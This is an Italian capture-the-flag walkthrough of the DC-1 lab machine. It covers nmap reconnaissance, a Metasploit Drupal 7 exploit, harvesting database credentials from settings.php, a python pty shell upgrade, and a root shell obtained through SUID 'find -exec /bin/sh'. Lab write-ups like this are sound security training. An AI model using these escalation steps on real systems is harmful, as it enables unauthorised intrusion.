REPORT DC-1

STEP 1 INDIVIDUAZIONE TARGET MEDIANTE NETDISCOVER

```
 192.168.1.20    08:00:27:e5:73:d5      1      60  PCS Systemtechnik GmbH
```

STEP 2 (SCANSIONE DEI SERVIZI TRAMITE NMAP)

```
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34332/tcp6  status
|   100024  1          40257/udp6  status
|   100024  1          52164/tcp   status
|_  100024  1          59964/udp   status
MAC Address: 08:00:27:E5:73:D5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.55 ms DC-1.home (192.168.1.20)

OS and Service detection performed. Please report any incorrect results at https://nmap.or
g/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.13 seconds
```

STEP 3

A seguito della scansione si evince che il CMS utilizzato è Drupal 7. Mediante l' utilizzo di metasploit framework riusciamo a guadagnare l'accesso al webserver tramite un exploit che sfrutta una vulenrabilita di Drupal .

STEP 4

Una volta dentro cercando fra i vari file e cartelle troviamo la prima flag che ci indirizza a cercare il file di configurazione di drupal. Trovato il file config di Drupal(var/www/sites/default/settings.php)dove troviamo la seconda flag . All' interno di questo file troviamo le credenziali di un utente del db.

STEP 5

Provando ad accedere al db la shell non riconosceva il comando, capito che la shell che stavamo utilizzando aveva delle restrizioni allora abbiamo provato ad accedere ad un altra shell. Inizialmente abbiamo utilizzato il comando shell ma non bastava per arrivare al nostro obiettivo allora tramite la stringa:

python -c 'import pty;pty.spawn("/bin/bash")'

STEP 6

Ricevuto accesso al db, cambiamo db e accedendo al db Drupal ,troviamo la 3 flag interrogando cn delle query(SQL) il db.

STEP 7

Una volta dentro il db troviamo un indizio fondamentale per il privilege escalation.

Una volta usciti dal DBMS utilizziamo la stringa :

find . -exec /bin/sh \ ; -quit

questa stringa ci ha permesso di creare una shell interattiva cm utente Root.

STEP 8

Una volta root entriamo nel percorso /root e troviamo l' ultima flag.

SISTEMA TOTALMENTE VIOLATO. ;)